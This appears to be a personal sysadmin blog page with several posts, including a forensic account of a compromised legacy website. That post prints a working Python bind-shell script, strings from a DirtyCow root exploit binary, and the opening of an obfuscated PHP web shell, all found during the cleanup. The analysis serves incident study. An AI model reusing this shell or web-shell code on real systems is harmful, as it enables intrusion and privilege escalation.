Header RSS Feed
 
If you only want to see the articles of a certain category, please click on the desired category below:
ALL Android Backup BSD Database Hacks Hardware Internet Linux Mail MySQL Monitoring Network Personal PHP Proxy Shell Solaris Unix Virtualization VMware Windows Wyse

Downgrade Mac OS X on a new iMac? Forget about it!
Monday - Nov 21st 2016 - by - (0 comments)

Imagine you're buying a new house. You want to move in but you realize that all your chairs, tables, beds and even your multimedia stuff is not compatible with the new house. Sounds stupid? It does. That's exactly what happened last week with a new iMac 27 inch.

My dad's office runs Apple computers since the 80's. Even when Apple almost disappeared he staid loyal to Apple. Although he's been using the Macintosh for almost three decades, he never became an Apple-hipster. I've never seen him driving around with a Mac bumper-sticker. Anyways, back to the story.

Last week an iMac 27 inch bought in 2009 broke down. Most likely the graphics card got defect. He asked me for his help and I looked up some tutorials and videos how to replace a graphics card in this iMac 2009. Holy sh*t! That's not just a simple replacement as you'd do in a tower computer; that's pulling apart the whole damn computer. I'm not at all experienced in opening and replacing iMac parts, so I suggested to buy a new iMac.

Once the new iMac was configured (with Mac OS 10.11 El Capitan) we've hit two problems already:
1) The software for creating and drawing construction plans (essential for the office) is not officially compatible with El Capitan
2) The plotter printer (Canon ipf 710) has no drivers for El Capitan According to Canon, the latest available driver for this ipf 710 printer was Mac OS 10.9 Mavericks.

So we decided to go back to this version (Mavericks). I created a USB drive with the Mavericks setup on it and was able to select the USB drive after booting with the Alt-key pressed. But then, just an icon "forbidden" appeared.

Mac OS X Forbidden Icon 

I tried the same with the original Mac OS 10.6 CD's which were still lying around in the office. Because the new iMac doesn't have a DVD-Drive anymore, I first needed to create a dmg image from the CD and from the dmg created an iso (using dmg2iso on Linux) to then create a bootable USB drive with the 10.6 image. This took quite a while but when it was finally finished, I tried to boot from this new USB drive. This time the Apple icon appeared - but nothing more. I let it keep like this for around 10 minutes, but nothing happened.

Finally I discovered the following page on Apple's website: https://support.apple.com/en-us/HT201686. This page says as of today (November 20 2016):

Use the Mac operating system that came with your Mac, or a compatible newer version
Your Mac is designed to work only with compatible macOS versions and builds. If you try to use an incompatible version or build, your Mac might behave unexpectedly. If you copy older system files from another computer to your Mac, or try to use startup disks designed for older computers, you might experience one or more of the following symptoms:
- Your Mac doesn't start up, or you see a prohibitory symbol at startup.
- You see a message that you're using an unsupported or incorrect version of the Mac operating system.
- Your Mac doesn't respond to your trackpad, mouse, or keyboard.
- Apps unexpectedly quit.
- Your Mac doesn't sleep or wake.
- You don't hear any sound from your Mac.
- The fans in your Mac operate at a faster or louder speed.
- The image on your display appears to shrink, has black bars around it, or appears tinted.
- You can't use Bluetooth or Wi-Fi.

Therefore the forbidden sign I saw on the Mavericks setup must be that mentioned "prohibitory symbol" then. Because the newly bought iMac has some time limited Apple support, I decided to call Apple and get a verification on that. And indeed, the technical supporter confirmed to me (after checking herself for a couple of minutes) that an iMac must run at least the version which was factory-installed. No downgrades.

Interestingly this is against the requirements of the Mac OS itself, because if you look up the system requirements for OS X Mavericks, it only says "iMac (Mid-2007 or later". Which, in this case, should also work for iMac's bought in 2016.

OS X Mavericks System Requirements

So much for the "or newer" part. Doesn't seem to be an unlimited newer than.

After the failure of trying to install Mavericks and Snow Leopard on the 2016 iMac, we decided to return the newly bought iMac and find somewhere a used iMac from 2011 (which we found on Revendo.ch). The guys in the shop in Zurich were most helpful and installed Mavericks from their PXE-boot environment.

It's crazy though that you buy a new iMac and can't use your existing Mac OS (for whichever reason you prefer the old version). Which made my dad for the first time in over 20 years angry about Apple.

 

Allow SSH access based on GeoIP country
Thursday - Nov 3rd 2016 - by - (0 comments)

For a certain online infrastructure there's a SSH jump host in place so that admins, developers and also some external users involved in projects are allowed to connect to the servers.

Of course only key authentication works and we also limited the source ip addresses to the ranges of certain internet providers. But this turned out to be a constant bugger. Either suddenly some new ranges appeared or sometimes a developer has changed his internet provider and the firewall rule needed to be changed again.

Because I know that people involved in this environment only work from a few countries, why not use an access filter based on GeoIP?

Whenever a connection comes in to the SSH daemon, the IP address' origin should be determined by a GeoIP lookup. Depending on which countries are defined as "allowed", they should be allowed to connect.
And this is how it's done (source: https://www.axllent.org/docs/view/ssh-geoip/) on an Ubuntu server (in my case Ubuntu 14.04).

First install the necessary geoip packages:

apt-get install geoip-database geoip-bin

Then create the GeoIP lookup script, which will be launched whenever a new SSH connection is opened. I created it as /usr/local/bin/ipfilter.sh:

#!/bin/bash
# License: WTFPL

# UPPERCASE space-separated country codes to ACCEPT
ALLOW_COUNTRIES="CH"
LOGDENY_FACILITY="authpriv.notice"

if [ $# -ne 1 ]; then
  echo "Usage:  `basename $0` " 1>&2
  exit 0 # return true in case of config issue
fi

if [[ "`echo $1 | grep ':'`" != "" ]] ; then
  COUNTRY=`/usr/bin/geoiplookup6 "$1" | awk -F ": " '{ print $2 }' | awk -F "," '{ print $1 }' | head -n 1`
else
  COUNTRY=`/usr/bin/geoiplookup "$1" | awk -F ": " '{ print $2 }' | awk -F "," '{ print $1 }' | head -n 1`
fi
[[ $COUNTRY = "IP Address not found" || $ALLOW_COUNTRIES =~ $COUNTRY ]] && RESPONSE="ALLOW" || RESPONSE="DENY"

if [[ "$RESPONSE" == "ALLOW" ]] ; then
  logger -p $LOGDENY_FACILITY "$RESPONSE sshd connection from $1 ($COUNTRY)"
  exit 0
else
  logger -p $LOGDENY_FACILITY "$RESPONSE sshd connection from $1 ($COUNTRY)"
  exit 1
fi

Make the script executable:

# chmod 755 /usr/local/bin/ipfilter.sh

In /etc/hosts.deny set all connections to sshd to DENY:

# cat /etc/hosts.deny | grep sshd
sshd: ALL

In /etc/hosts.allow define the GeoIP lookup script created before for all connections to sshd:

# cat /etc/hosts.allow | grep sshd
sshd: ALL: aclexec /usr/local/bin/ipfilter.sh %a

You probably already guessed it correctly. The variable %a represents the incoming IP address, which is then forwarded to the lookup script. The lookup script then makes the GeoIP lookup with the given IP address. If the country code is in the list of allowed countries (ALLOW_COUNTRIES) or is an unknown source the script will exit 0 (OK) and therefore the connection will be allowed. If the country isn't in the allowed list, the script will exit 1 (NOT OK) and that's the signal to the system to drop the connection.

Let's try to make an ssh connection from a host in Germany:

$ ssh claudio@jumphost.example
ssh_exchange_identification: Connection closed by remote host

On the jump host itself the following log entries appear:

Nov  3 12:17:14 jumphost logger: DENY sshd connection from 144.76.85.24 (DE)
Nov  3 12:17:14 jumphost sshd[11345]: aclexec returned 1
Nov  3 12:17:14 jumphost sshd[11345]: refused connect from 144.76.85.24 (144.76.85.24)

Note: If you're using a RHEL based distribution (for example CentOS), the command "aclexec" doesn't seem to work (see http://tecadmin.net/allow-server-access-based-on-country).
In this case use "spawn" instead of "aclexec" in hosts.allow:

root@rhel # cat /etc/hosts.allow | grep sshd
sshd: ALL: spawn /usr/local/bin/ipfilter.sh %a

On the other hand spawn didn't work on my Ubuntu jump host - here only aclexec really blocked the access.

Of course this is not to be considered as a high security setting. The source IP address can be spoofed to whatever you like. So make sure you have your ssh daemon up to date and harden your settings, for example the typical ones:

  • PasswordAuthentication no
  • PermitRootLogin no
  • AllowUsers (list of allowed users)

 

Tracing a DirtyCow exploit hack several years back to 2007
Friday - Oct 28th 2016 - by - (0 comments)

Usually when a web-application is hacked, you get to know it immediately. Sometimes because the hacked website will be abused to send thousands of spams. Sometimes a phishing page is uploaded to fool people still not knowing about phishing pages. Sometimes other websites are being attacked through a script (congratulations, your server is now part of a botnet!).

But a few days ago, something caught my eye:

www-data 25948  0.0  0.0  17524  1424 ?        S    Oct22   0:00 sh -c cd '/var/www/web230/html/anime-gateway/Artikel/bilder' ; pyth
www-data 25949 99.9  0.0  36216  4376 ?        R    Oct22 5447:51  \_ python a7x4M7mJcuBX_bind.py
www-data 25953  0.0  0.0  17708  1696 pts/0    Ss   Oct22   0:00      \_ /bin/bash
www-data 25986  0.0  0.0  30676   684 pts/0    Sl+  Oct22   0:09          \_ ./ct

So it was an uploaded python script which got executed - that wasn't really a surprise. The interesting information was the path: /var/www/web230/html/anime-gateway/Artikel/bilder. Anime-Gateway was a website I co-created in 2006/2007. It's been dead for several years but I kept it online for historical reasons. Out of curiosity I wanted to know what happened. From what I could remember from the programming, back then we used an authentication system which used a connection to a forum software's user database. Only authenticated users (with a certain role) were able to upload material via the web interface.

An output of the newest files within /var/www/web230/html/anime-gateway/Artikel/bilder revealed a recent change of files:

-rw-r--r-- 1 web230   www-data  31673 May 25  2008 aotw.jpg
-rw-r--r-- 1 www-data www-data      0 Sep 22 16:27 test.py
-rw-r--r-- 1 www-data www-data    679 Sep 22 16:30 l.py
-rw-r--r-- 1 www-data www-data    549 Oct 22 15:06 a7x4M7mJcuBX_bind.py
-rwxr-xr-x 1 www-data www-data  11396 Oct 22 16:12 ct

As you can see, the last uploaded "real" picture was from May 2008. Pretty long time ago. But then come new files from September 22, 2016!

root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat test.py  
  File: `test.py'
  Size: 0             Blocks: 0          IO Block: 4096   regular empty file
Device: fd01h/64769d    Inode: 6088984     Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-09-22 16:27:05.000000000 +0200
Modify: 2016-09-22 16:27:05.000000000 +0200
Change: 2016-09-22 16:27:05.000000000 +0200


root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat l.py  
  File: `l.py'
  Size: 679           Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 6088981     Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:07:31.000000000 +0200
Modify: 2016-09-22 16:30:20.000000000 +0200
Change: 2016-09-22 16:30:20.000000000 +0200


root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat a7x4M7mJcuBX_bind.py  
  File: `a7x4M7mJcuBX_bind.py'
  Size: 549           Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 1712265     Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:08:19.000000000 +0200
Modify: 2016-10-22 15:06:13.000000000 +0200
Change: 2016-10-22 15:45:26.000000000 +0200


root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat ct
  File: `ct'
  Size: 11396         Blocks: 24         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 1712266     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:06:43.000000000 +0200
Modify: 2016-10-22 16:12:44.000000000 +0200
Change: 2016-10-22 16:13:36.000000000 +0200

The executed python script a7x4M7mJcuBX_bind.py looked like this:

# cat a7x4M7mJcuBX_bind.py
#!/usr/bin/python2
"""
Python Bind TCP PTY Shell - testing version
infodox - insecurety.net (2013)
 
Binds a PTY to a TCP port on the host it is ran on.
"""
import os
import pty
import socket
 
lport = 31343
 
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(),0)
    os.dup2(rem.fileno(),1)
    os.dup2(rem.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
     
if __name__ == "__main__":
    main()

A quick research of that content led me to infodox (https://github.com/infodox/python-pty-shells). According to the github repo, this is:

The following is a collection of bind and reverse shells which give you a fully working PTY.

Ohhh great. Just what I needed....

The file "ct" was the newest one by timestamp and is also the one which was executed from within the python script, once it opened a shell pty. It was a binary file but using "strings" I was able to see what's going on:

# cat ct  | strings
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_Jv_RegisterClasses
libpthread.so.0
write
system
pthread_create
pthread_join
lseek
libc.so.6
fopen
puts
mmap
memset
memcmp
memcpy
fclose
asprintf
fread
madvise
sleep
__libc_start_main
__fxstat
GLIBC_2.2.5
fffff.
l$ L
t$(L
|$0H
thread stopped
/proc/self/mem
%s is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
DirtyCow root privilege escalation
Backing up %s.. to /tmp/bak
cp %s /tmp/bak
Size of binary: %d
Racing, this may take a while..
;*3$"
/usr/bin/passwd
/bin/sh
/bin/bash
GCC: (Debian 4.7.2-5) 4.7.2
GCC: (Debian 4.4.7-2) 4.4.7
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
call_gmon_start
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6092
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
40616.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
pth1
pth3
pthread_create@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
data_start
puts@@GLIBC_2.2.5
fread@@GLIBC_2.2.5
write@@GLIBC_2.2.5
madviseThread
_edata
fclose@@GLIBC_2.2.5
_fini
mmap@@GLIBC_2.2.5
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
lseek@@GLIBC_2.2.5
stop
memset@@GLIBC_2.2.5
fstat
procselfmemThread
name
__libc_start_main@@GLIBC_2.2.5
memcmp@@GLIBC_2.2.5
suid_binary
__data_start
memcpy@@GLIBC_2.2.5
sc_len
__gmon_start__
__dso_handle
_IO_stdin_used
pth2
__libc_csu_init
__fxstat@@GLIBC_2.2.5
_end
_start
__bss_start
asprintf@@GLIBC_2.2.5
main
madvise@@GLIBC_2.2.5
open@@GLIBC_2.2.5
__fstat
fopen@@GLIBC_2.2.5
pthread_join@@GLIBC_2.2.5
_Jv_RegisterClasses
waitForWrite
__TMC_END__
_ITM_registerTMCloneTable
sleep@@GLIBC_2.2.5
_init

Mainly the following lines got my fullest attention:

Popping root shell.
Don't forget to restore /tmp/bak
DirtyCow root privilege escalation
Backing up %s.. to /tmp/bak
cp %s /tmp/bak
Size of binary: %d
Racing, this may take a while..
;*3$"
/usr/bin/passwd
/bin/sh
/bin/bash

Uwah! It's a friggin' DirtyCow exploit!

The created binary was indeed created and then copied to /tmp/bak:

# stat /tmp/bak
  File: `/tmp/bak'
  Size: 43280         Blocks: 88         IO Block: 4096   regular file
Device: fd04h/64772d    Inode: 2895        Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:14:16.000000000 +0200
Modify: 2016-10-22 16:13:37.000000000 +0200
Change: 2016-10-22 16:13:37.000000000 +0200

In the python script above, there was the port "31343" defined as listening port. Did it really open? Yes, it did:

# netstat -nltup | grep 31343
tcp        0      0 0.0.0.0:31343           0.0.0.0:*               LISTEN      25949/python 

So far I knew: A python script (infodox) was uploaded, which listened to a tcp port and allowed to open a pty shell. This was then used to execute a binary file to exploit the DirtyCow vulnerability.
But what I didn't know yet: How the hell did the python script came on the server?

I checked the logs of September 22nd 2016 and found this:

46.166.179.39 - - [22/Sep/2016:16:24:49 +0200] "POST /Artikel/bilder/upload.tmp.php? HTTP/1.1" 200 2606 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
46.166.179.39 - - [22/Sep/2016:16:26:40 +0200] "GET /Artikel/bilder/upload.tmp.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php?x=info" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
46.166.179.39 - - [22/Sep/2016:16:27:05 +0200] "POST /Artikel/bilder/upload.tmp.php? HTTP/1.1" 200 2816 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php?" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Gotcha, a file upload.tmp.php was used to upload the files into a chmodded 777 folder (that was intended because that's the image folder for the Anime reviews articles).
But this didn't answer me anything. In fact, it raised more questions: Who put that file there? Why is it there? Did I commit this common mistake to leave a vulnerable file in an accessible web folder? What exactly is this file? And also: Who'd find a file like this on a website which has been dead for years?

I went back further in the logs and found the first requests of that file back in May 2016:

access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php HTTP/1.1" 200 1721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php?! HTTP/1.1" 200 18691 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php?| HTTP/1.1" 200 29462 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:59:08 +0200] "GET /Artikel/bilder/upload.tmp.php HTTP/1.1" 200 1721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:59:08 +0200] "GET /Artikel/bilder/upload.tmp.php?! HTTP/1.1" 200 18691 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"

These were only GET requests. So I assume it was kind of a bot just trying thousands of domains and paths for that filename. Time to check out that file:

-rw-r--r-- 1 web230   www-data    832 Aug 11  2007 upload.php
-rw-r--r-- 1 www-data www-data  99404 Aug 11  2007 upload.tmp.php

There are two files. upload.php uploaded by the FTP user, probably me, back on August 11 2007. Yet on the same day: upload.tmp.php. This one however not created by the FTP user, no, created by www-data under which PHP was ran!
Let's check out that tmp file (here's the begin of the file, it turned out to be huge):

# cat upload.tmp.php
<?php
$s_pass = "b0cb1adce7bde2f86172353cc3030abc5ba9843a";
$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("rP2HruxcliaIvUpOojGVJZaa3k0biQwygt77gZCg995TNe8u/plV3dVGM4Ag3IsbQW7Dvfda6zPnnhPnP/4/pmr6079b/3rky5/+05/+jPx76s//4Y/rrd66/I87CUpi7Z/+/O//3udvbd1Y1sPbo/+jA0pA0J/+b39CsPcf8m/NWZ7s5dtSxN2a/4c//T/H5K/rFi/bX/7xvVjz7W8j/9rVfb39BfrjXj3Uf33v/+Ufqq3v/povy7is//BP/wD9wx+NaZfHyzt+S+O0yv+YI8

Believe me, I never reached a PHP coding level like this, so this definitely didn't come from me. The PHP script contained base64 encoded parts in it and at the end probably showed a web shell after entering the correct password ($s_pass).

I'd love to go back and have logs from 2007 to see what was going on and how this file was uploaded - but as you can imagine, they're long gone. Hell, I wasn't even married back then.
Unfortunately I can only assume, that we added the authentication on the website later that year and someone used the form (without authentication) to upload this file upload.tmp.php, which stayed there left alone for several years until somehow someone found it and used it to exploit the DirtyCow vulnerability.
All I could do in this case was a cleanup, remove the uploaded files, adapt the folder permissions so uploads are not possible anymore (it's enough to load the pictures for the articles as an archive) and disable the www-data user to open a shell and launch commands (like executing the python script in the first place).

 

Reset (clean up) a Rancher Docker Host
Friday - Oct 28th 2016 - by - (0 comments)

These days I'm testing Rancher as a potential candidate for a new Docker infrastructure. It's appealing so far: Rancher does have a nice and intuitive user interface and more importantly a nice API to automatically trigger container creation (for example through Travis).

During a failover test, I rebooted one of the Rancher hosts and when it came back up, the connectivity to Rancher was lost. Why? Because I forgot to add the separate file system for /var/lib/docker, which I prepared as a logical volume, into /etc/fstab - therefore all previous docker data was gone and of course also the rancher-agent container.

Unfortunately I didn't see the error as fast and I just decided to simply remove the host in Rancher and re-add it manually. Of course when I fixed the file system mount problem and rebooted, Rancher would not connect anymore, because meanwhile there is a new rancher-agent with a new ID installed.

To force a reset or cleanup of the Rancher host, one can do the following:

1. Deactivate the affected host in Rancher, then remove the host

2. Stop Docker service

service docker stop

3. Remove Docker and Rancher data:

rm -rf /var/lib/docker/*
rm -rf /var/lib/rancher/*

4. Start Docker service

service docker start

5. Add the host in Rancher

 

Play a multimedia file in VLC as cron job
Monday - Oct 24th 2016 - by - (0 comments)

At work we have a Raspberry Pi 2+ connected to a monitoring screen (a Panasonic TV) to display the current status of Icinga2 monitoring and some additional visual monitoring (Nagvis) drawings.

I wanted to troll my colleagues by playing a regular video/sound from a scene of the movie Dante's peak (It's coffee time!). I was able to play the video without problems from the command line using "cvlc", however when the command was launched as a cron job, nothing happened.

This was due to the fact, that inside cron's environment, there is no display ($DISPLAY) configured. In order to do that, the cron command needs to use the local DISPLAY port:

00 09 * * 1-5 DISPLAY=127.0.0.1:0 /usr/bin/cvlc /home/pi/Downloads/COFFEE-TIME.webm; killall vlc

Working :-)

 

How to fix a broken or half installed Debian deb package
Friday - Oct 14th 2016 - by - (0 comments)

When I installed OSSEC 2.8.3 on a few Debian servers, the installation process was stuck in the middle, leaving dpkg in an unknown state.

I manually needed to kill the still running "apt-get install ossec-hids-agent" process and then decided to install the package by hand. But it's not that easy if the postinstall or postremove scripts from the package are not able to do their jobs.

Well, let's just do another installation by hand, I thought:

# apt-get install ossec-hids-agent
Reading package lists... Done
Building dependency tree      
Reading state information... Done
ossec-hids-agent is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 16 not upgraded.
1 not fully installed or removed.
Need to get 0 B/437 kB of archives.
After this operation, 0 B of additional disk space will be used.
Do you want to continue [Y/n]? y
dpkg: error processing ossec-hids-agent (--configure):
 package ossec-hids-agent is not ready for configuration
 cannot configure (current status `half-installed')
Errors were encountered while processing:
 ossec-hids-agent
localepurge: Disk space freed in /usr/share/locale: 0 KiB
localepurge: Disk space freed in /usr/share/man: 0 KiB

Total disk space freed by localepurge: 0 KiB

E: Sub-process /usr/bin/dpkg returned an error code (1)

But dpkg didn't want to and returned me an error and also showed the current status as "half-installed", which can be verified:

# dpkg -l|grep ossec
rH  ossec-hids-agent     2.8.3-4wheezy  amd64    OSSEC Agent - Host Based Intrusion Detection System

When I tried to remove the package, dpkg returned an error:

# apt-get remove ossec-hids-agent
Reading package lists... Done
Building dependency tree      
Reading state information... Done
The following packages will be REMOVED:
  ossec-hids-agent
0 upgraded, 0 newly installed, 1 to remove and 16 not upgraded.
1 not fully installed or removed.
After this operation, 1,539 kB disk space will be freed.
Do you want to continue [Y/n]? y
(Reading database ... 44119 files and directories currently installed.)
Removing ossec-hids-agent ...
dpkg: error processing ossec-hids-agent (--remove):
 subprocess installed post-removal script returned error exit status 2
Errors were encountered while processing:
 ossec-hids-agent
E: Sub-process /usr/bin/dpkg returned an error code (1)

Damn. Neither a reinstall, nor the remove of the package works. I tried it with the force parameter (-f) but that didn't help either:

# apt-get install -f ossec-hids-agent
Reading package lists... Done
Building dependency tree      
Reading state information... Done
ossec-hids-agent is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 16 not upgraded.
1 not fully installed or removed.
Need to get 437 kB of archives.
After this operation, 0 B of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://ossec.wazuh.com/repos/apt/debian/ wheezy/main ossec-hids-agent amd64 2.8.3-4wheezy [437 kB]
Fetched 437 kB in 1s (227 kB/s)          
dpkg: error processing ossec-hids-agent (--configure):
 package ossec-hids-agent is not ready for configuration
 cannot configure (current status `half-installed')
Errors were encountered while processing:
 ossec-hids-agent
localepurge: Disk space freed in /usr/share/locale: 0 KiB
localepurge: Disk space freed in /usr/share/man: 0 KiB

Total disk space freed by localepurge: 0 KiB

E: Sub-process /usr/bin/dpkg returned an error code (1)

Then I came across a blog post on absolutelytech.com, which advised to force-install the installation not via apt but directly from the deb package:

 # dpkg --remove --force-remove-reinstreq ossec-hids-agent
(Reading database ... 44119 files and directories currently installed.)
Removing ossec-hids-agent ...
dpkg: error processing ossec-hids-agent (--remove):
 subprocess installed post-removal script returned error exit status 2
Errors were encountered while processing:
 ossec-hids-agent

# dpkg -i --force-overwrite /var/cache/apt/archives/ossec-hids-agent_2.8.3-4wheezy_amd64.deb
Selecting previously unselected package ossec-hids-agent.
(Reading database ... 44120 files and directories currently installed.)
Preparing to replace ossec-hids-agent 2.8.3-4wheezy (using ossec-hids-agent_2.8.3-4wheezy_amd64.deb) ...
mkdir: cannot create directory `/tmp/ossec-hids': File exists
dpkg: error processing ossec-hids-agent_2.8.3-4wheezy_amd64.deb (--install):
 subprocess new pre-installation script returned error exit status 1
dpkg: error while cleaning up:
 subprocess new post-removal script returned error exit status 2
Errors were encountered while processing:
 ossec-hids-agent_2.8.3-4wheezy_amd64.deb

But as you can see, this didn't work either. At least there was an additional hint: 

mkdir: cannot create directory `/tmp/ossec-hids': File exists

 So this error came from one of the package scripts, which failed because this directory already existed. I deleted it and tried again:

# rm -rf /tmp/ossec-hids/

# dpkg -i --force-overwrite ossec-hids-agent_2.8.3-4wheezy_amd64.deb
(Reading database ... 44120 files and directories currently installed.)
Preparing to replace ossec-hids-agent 2.8.3-4wheezy (using ossec-hids-agent_2.8.3-4wheezy_amd64.deb) ...
Unpacking replacement ossec-hids-agent ...
dpkg: warning: subprocess old post-removal script returned error exit status 2
dpkg: trying script from the new package instead ...
dpkg: error processing ossec-hids-agent_2.8.3-4wheezy_amd64.deb (--install):
 subprocess new post-removal script returned error exit status 2
dpkg: error while cleaning up:
 subprocess new post-removal script returned error exit status 2
Errors were encountered while processing:
 ossec-hids-agent_2.8.3-4wheezy_amd64.deb

Damn it! What now?

Finally, through another blog article from the author Philippe Ivaldi, came the solution: The package files of the broken or half-installed package need to be removed from the dpkg system. This needs to be done manually:

# mv /var/lib/dpkg/info/ossec-hids-agent.* /tmp/

# dpkg --remove --force-remove-reinstreq ossec-hids-agent
dpkg: warning: overriding problem because --force enabled:
 Package is in a very bad inconsistent state - you should
 reinstall it before attempting a removal.
(Reading database ... 44115 files and directories currently installed.)
Removing ossec-hids-agent ...

This time no error! I checked the current package status and it looked much better (rc):

# dpkg -l|grep ossec
rc  ossec-hids-agent     2.8.3-4wheezy  amd64    OSSEC Agent - Host Based Intrusion Detection System

Now I was able to launch a "normal" installation again:

# apt-get install ossec-hids-agent
Reading package lists... Done
Building dependency tree      
Reading state information... Done
The following NEW packages will be installed:
  ossec-hids-agent
0 upgraded, 1 newly installed, 0 to remove and 16 not upgraded.
Need to get 437 kB of archives.
After this operation, 1,539 kB of additional disk space will be used.
Get:1 http://ossec.wazuh.com/repos/apt/debian/ wheezy/main ossec-hids-agent amd64 2.8.3-4wheezy [437 kB]
Fetched 437 kB in 1s (306 kB/s)          
Preconfiguring packages ...
Selecting previously unselected package ossec-hids-agent.
(Reading database ... 44116 files and directories currently installed.)
Unpacking ossec-hids-agent (from .../ossec-hids-agent_2.8.3-4wheezy_amd64.deb) ...
Setting up ossec-hids-agent (2.8.3-4wheezy) ...
localepurge: Disk space freed in /usr/share/locale: 0 KiB
localepurge: Disk space freed in /usr/share/man: 0 KiB

Total disk space freed by localepurge: 0 KiB

... which worked:

# dpkg -l|grep ossec
ii  ossec-hids-agent     2.8.3-4wheezy  amd64    OSSEC Agent - Host Based Intrusion Detection System


Summary: If the installation of a package stops in the middle of it or you cancel it manually, the package will be in a half-installed state, causing a lot of problems. If the package scripts (preinstall, postinstall, postremove) are not bug-safe, the removal of the package will fail as well. Only a manual deletion of the files within the dpkg package manager will help.

 

New version of check_esxi_hardware supports pywbem 0.9.x
Thursday - Oct 13th 2016 - by - (0 comments)

If someone would have told me two years ago, that we'll have pywbem version 0.9.0 soon, I'd have laughed. Two years ago, pywbem was in some kind of coma. It existed and was supported from all major distributions (even with their own packages), yet upstream was dead. For security fixes, the distributions put together some patched versions; resulting in pywbem being differently depending on the distribution. But still running with the same old version 0.7.0.

But then came Andy Maier and revived the project in September 2014. Succeeding several months of beta versions, the final version of 0.8.1 was released in March 2016. Back then the monitoring plugin check_esxi_hardware was adapted to support both the old and everlasting 0.7.0 but also the newer 0.8.0. Unfortunately this was done in a hard coded way:

elif '0.8.' in pywbemversion:

See the problem? Yep. Version 0.9.0 was released last month, in September 2016. Of course the plugin didn't know how to handle the newer version. And version 0.10.0 is also around the corner, so that wouldn't have worked either.

So today's update of check_esxi_hardware.py (version 20161013) removes that hard-coded way - except for the old 0.7.0 version which was abused - sorry - overpatched by the distributions. Call it legacy code because that's what it is.

By the way if you're interested in installing pywbem 0.9.0 (that's the latest release as of this wrigin), you can install it with pip.
On a Debian or Ubuntu system you first need to install the following requirements:

apt-get install python-pip swig libpcre3 libpcre3-dev libssl-dev g++ python-dev

Then run:

pip install --upgrade pywbem

This should install the latest available pywbem version from pypi.

Make sure at the end you get an output like this:

[...]
  Running setup.py install for typing
   
Successfully installed pywbem PyYAML six ply M2Crypto typing
Cleaning up...

And this is how you can verify which pywbem version is being used by your python installation:

$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pywbem
>>> import pkg_resources
